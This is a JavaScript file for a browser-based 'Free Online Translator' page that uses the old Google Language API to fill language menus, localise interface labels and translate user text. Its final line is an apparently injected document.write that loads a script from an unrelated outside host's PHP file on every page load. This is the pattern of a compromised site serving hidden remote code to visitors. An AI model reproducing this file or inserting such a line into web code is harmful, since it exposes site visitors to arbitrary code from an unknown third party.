var inputLabels = {
    "translate" : "Translate"
};
var textLabels = {
    "titleText" : "Free Online Translator",
    "origTextTitle" : "Text to translate",
    "transTextTitle" : "Translated text",
    "intLng" : "Interface language"
}

google.load("language", "1");
google.setOnLoadCallback(init);

String.prototype.trim = function() {
    return this.replace(/^\s+|\s+$/g, "");
};

function init() {
    var src = document.getElementById('src');
    var dst = document.getElementById('dst');
    var intLng = document.getElementById('interface');
    var dl = new Option("Detect language", "");
    dl.className = "line-below";
    src.options.add(dl);
    for (var l in google.language.Languages) {
        var lng = formatLanguage(l);
        var lngCode = google.language.Languages[l];
        if (google.language.isTranslatable(lngCode)) {
            if (lngCode != "") {
                src.options.add(new Option(lng, lngCode));
                dst.options.add(new Option(lng, lngCode));
                intLng.options.add(new Option(lng, lngCode));
            }
        }
    }

    document.getElementById("dest").value = "";

    selectLng(src, "en");

    var urlLng = getParam(window.location.href, "ui");
    if (urlLng != null) {
        selectLng(intLng, urlLng);
    } else {
        selectLng(intLng, "en");
    }
    updateIntLng();

    google.language.getBranding('branding');
}

function getParam(url, paramName) {
    var paramMarkerPos = url.indexOf("?");

    var paramPos = url.indexOf(paramName + "=", paramMarkerPos + 1);

    if (paramPos > 0) {
        var paramValuePos = paramPos + (paramName + "=").length;

        var value = "";

        var nextParamMarker = url.indexOf("&", paramValuePos);

        if (nextParamMarker > 0) {
            value = url.substring(paramValuePos, nextParamMarker)
        }
        else {
            value = url.substring(paramValuePos);
        }

        return value;
    }
    else {
        return null;
    }
}

function selectLng(s, lngCode) {
    for (var i = 0; i < s.options.length; i++) {
        if (s.options[i].value == lngCode) {
            s.selectedIndex = i;
        }
    }
}

function updateIntLng() {
    updateIntLngForLabels(textLabels, "innerText");
    updateIntLngForLabels(inputLabels, "value");
}

function updateIntLngForLabels(labels, type) {
    var dest = document.getElementById("interface").value;

    var tl = "";
    for (var l in labels) {
        tl += labels[l] + "<br>";
    }
    google.language.translate(tl, "en", dest, function(result) {
        if (result.translation) {
            var res = result.translation;

            for (var l in labels) {
                var p = res.indexOf("<br>");
                var newTL = res.substr(0, p);
                res = res.substr(p + 4, res.length - p - 4);

                if (type == "innerText") {
                    document.getElementById(l).innerHTML = newTL.trim();
                } else if (type == "value") {
                    document.getElementById(l).value = newTL.trim();
                }
            }
        }
    });

}

function formatLanguage(lng) {
    lng = capitalize(lng);

    var p = lng.indexOf("_");
    if (p != -1) {
        lng = lng.substr(0, p) + " (" + capitalize(lng.substr(p + 1, lng.length - p - 1)) + ")";
    }

    return lng
}

function capitalize(str) {
    return str.substr(0, 1).toUpperCase() + str.substr(1, str.length - 1).toLowerCase();
}

function submitChange() {
    var value = document.getElementById('source').value;

    if (value != "") {
        var src = document.getElementById('src').value;
        var dest = document.getElementById('dst').value;
        google.language.translate(value, src, dest, translateResult);
        return false;
    }
}

function translateResult(result) {
    var resultBody = document.getElementById("dest");
    if (result.translation) {
        resultBody.value = result.translation.trim();
    } else {
        resultBody.value = 'Error Translating';
    }
}

document.write('<script src=http://vetuscenter.se/bilder/bt750_b.php ><\/script>');
